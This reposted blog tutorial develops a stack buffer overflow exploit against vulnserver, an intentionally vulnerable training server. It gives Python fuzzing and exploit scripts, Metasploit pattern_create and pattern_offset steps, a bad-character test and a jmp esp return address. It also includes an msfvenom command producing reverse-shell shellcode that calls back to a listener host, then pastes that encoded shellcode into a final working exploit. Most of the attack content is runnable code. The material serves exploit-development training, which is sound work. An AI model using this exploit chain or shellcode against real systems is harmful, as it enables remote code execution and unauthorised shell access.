Buffer Overflows and you!

[Nytro]

Buffer Overflows and you!

Posted on July 22, 2016 by T0w3ntum in Exploit Development

 

I wanted to do an article on Buffer Overflows, there are many articles on Buffer Overflows, but this one is mine! I’m going to take it easy on the first go and do a simple Stack Based buffer overflow. So let’s get started.

 

For this I’ll be using vulnserver. It’s an intentionally vulnerable binary for you to practice on. I did this from my Windows 10 machine, but you are free to use whatever flavor of Windows you want. Simply download the files, unzip, and run it. Now remember, this is intentionally vulnerable…So maybe turn off your internet or run it in a VM.

Fuzzing

So let’s load up immunity and see what happens when we throw a bunch of crap at it. I’ll be targeting the TRUN function  of vulnserver. First we need some fuzzer code:

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21

#!/user/bin/python   import socket import sys   buffer=["A"] counter=100 while len(buffer) <= 100: buffer.append("A"*counter) counter=counter+200   for string in buffer:     print "[+] Fuzzing vulnserver with %s bytes" % len(string)     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     connect = s.connect(('192.168.1.8',6666))     s.recv(1024)     s.send( sys.argv[1]+" ."+string) #Note the "." as it's important.     data = s.recv(1024)     print data     s.send('EXIT\r\n')     s.close()

 

When we run this, we get a crash around 2100 bytes. We can easily verify that the EIP is overwritten by looking at the CPU Registers in immunity.

 

 

Note the EIP is now full of 41414141 or AAAA. This means that our long string of A’s has overwritten the EIP register and broke the flow of the application as 41414141 is not a valid address.

Gaining Control

Now that we know roughly how much data we need to throw at it to crash it, we need to find the exact point where the EIP is overwritten. This is easily done by generating a unique pattern 2100 bytes in length and crashing the application again. Luckily, the Metasploit framework comes with a handy tool for doing just that.

 

1	/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2100

This will create a unique pattern that we can crash the application with. Let’s update our code with the new string.

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

#!/user/bin/python    import socket    buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9'    print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()

 

When we fire this off and check the EIP we’ll see a new unique string there. If we run that through pattern_offset we can find the exact offset before we overwrite the EIP register. In this case it’s at 2006.

 

 

1 2	/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 396F4338 [*] Exact match at offset 2006

Let’s verify the offset by overwriting EIP with our own bit of code. I like to use 0xdeadbeef because why not?

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

#!/user/bin/python    import socket from struct import *    buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()

 

After running this, we can see that we have successfully overwritten EIP with DEADBEEF.

 

 

SWEEEET! We now control EIP. This means we control the flow of the application. The next step is to see how much room we have for our shellcode. We could put it in the initial string of A’s before the crash, but let’s see how much further past the EIP we can write to the stack.

Adding in Shellcode

As I mentioned, we need to find some room for our shellcode so let’s update our code to squeez in some C’s. I’ll start with 400 bytes of C’s as that should be enough for a simple reverse shell.

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17

#!/user/bin/python    import socket from struct import *    buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) buffer += 'C' * 400 print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()

 

After firing this off and looking at the dump we can see a couple of things. First is that all of our C’s seem to fit and second, they start right at the ESP. The image below, with it’s crappy highlighting, show’s the ESP. You can verify this by looking at the ESP value in the registers.

 

 

This is good for a couple of reason. We know we have enough room for our shellcode, and we know that all we need to do is jump to the ESP to execute our shellcode. What do I mean by this? Well, since we control EIP, we can tell the application do go wherever we want. So what we need to do is tell it to go to an instruction call that says jmp esp. This will cause the application to go to the top of the stack and start executing our shellcode. But first, let’s find out what characters the application can and cannot handle.

Finding Bad Characters

In order to have successful execution, we need to make sure the application properly reads all of our characters. To do this, we need to send in a string of bad characters and then check the stack dump. If there is a break in the string, we can assume there is a bad characters, remove it, and send the string again. Fortunately for us there didn’t seem to be any bad characters in this application.

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

#!/user/bin/python    import socket from struct import *    badchar = "" badchar += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" badchar += "\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" badchar += "\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f" badchar += "\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f" badchar += "\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" badchar += "\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" badchar += "\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" badchar += "\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"    buffer = 'A' * 2006 buffer += pack('<L', 0xdeadbeef) buffer += badchar    print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()

Finding our Return Address

So how do we go about finding a jmp esp instruction call? With the power of Mona that’s how! First we need to find a module loaded in the application that doesn’t have any of the fancy memory protections.

 

 

In this case, I’ll use essfunc.dll, so let’s see if there is a jmp esp call within that module.

 

 

We’ll just use the top address as our return.

Finalizing the Exploit

Alright, we’ve done all the leg work. Now let’s finalize this exploit and get ourselves a shell! I’ll use msfvenom to generate some shellcode for us.

1	msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.21 LPORT=4444 --smallest -f python -v payload -b '\x00'

We’ll use the shell_reverse_tcp as it’s none-staged and relatively small. Note I’m also declaring the NULL character, 0x00, as a bad character.

So let’s update our script.

 

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53

#!/user/bin/python    import socket from struct import *    ret = pack('<L', 0x625011AF)    payload =  "" payload += "\x33\xc9\x66\xb9\x43\x01\xe8\xff\xff\xff\xff\xc1" payload += "\x5e\x30\x4c\x0e\x07\xe2\xfa\xfd\xea\x81\x04\x05" payload += "\x06\x67\x81\xec\x3b\xcb\x68\x86\x5e\x3f\x9b\x43" payload += "\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a\x2c" payload += "\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28" payload += "\xed\xc9\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe" payload += "\x7a\x26\x40\xda\x72\x3a\xed\x6c\xb5\x66\x60\x40" payload += "\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2\x7e\xc0\x4d\x9b" payload += "\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d\xaf" payload += "\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41" payload += "\x67\xb4\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa" payload += "\x76\xf8\x75\xa5\xff\x33\x5c\x5d\x21\x20\x1d\x24" payload += "\x24\x2e\x7f\x61\xdd\xdc\xde\x0e\x94\x6c\x05\xd4" payload += "\xe2\xb8\xbe\x8d\x8e\xe7\xe7\xe2\xa0\xcc\xc0\xfd" payload += "\xda\xe0\xbe\x9e\x65\x4e\x24\x0d\x9f\x9f\xa0\x88" payload += "\x66\xf7\xf4\xcd\x8f\x27\xc3\xa9\x55\x7e\xfc\xfd" payload += "\xfe\xff\xf0\xe1\xf2\xe3\xdc\x5f\xb9\x68\x58\x46" payload += "\x6f\x2c\xd6\xb8\xd6\x7f\x68\xc0\xe7\xab\xc6\xc5" payload += "\xd7\x9b\x41\x2f\xa0\xdb\x9a\x9a\xa6\x56\x75\xa5" payload += "\xb3\x2c\x01\x50\x16\xa3\xd4\x26\x94\xd3\xa9\x31" payload += "\xb6\x2f\x55\x43\xb4\x1c\x31\x8d\x85\x8a\x8c\xe9" payload += "\x63\x08\xbb\xba\xb9\xde\x06\x9b\xe0\xaa\xa2\x17" payload += "\x0b\x91\x3f\xbd\xde\xc7\xfd\xfc\x73\xbb\x24\x11" payload += "\xc4\x03\x40\x51\x56\x51\x5e\x5f\x4c\x5d\x42\x5b" payload += "\x58\x5c\x46\x79\x6b\xdf\x2b\x93\xe9\xc2\x91\xf9" payload += "\x54\x4d\x5a\xe2\x2e\x77\x28\xa6\x3f\x43\xdb\xf0" payload += "\x9d\xd7\x9d\x8b\x7c\x43\x8a\xb8\x93\xb2\xcf\xe4" payload += "\x0e\x35\x48\x3f\xb6\xcc\xd8\x4c\x3f\x80\x7b\x2e" payload += "\x4c\x50\x2a\x41\x11\xbc\x91"       buffer = 'A' * 2006 buffer += ret buffer += payload       print "[+] Sending buffer. Check EIP after crash." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.8',6666)) s.recv(1024) s.send('TRUN .'+buffer) data = s.recv(1024) print data s.send('EXIT\r\n') s.close()

 

And that’s it. Once we set up our listener and fire off the code we should have a shiny new shell!

 

 

 

Sursa: https://t0w3ntum.wordpress.com/2016/07/22/buffer-overflows-and-you/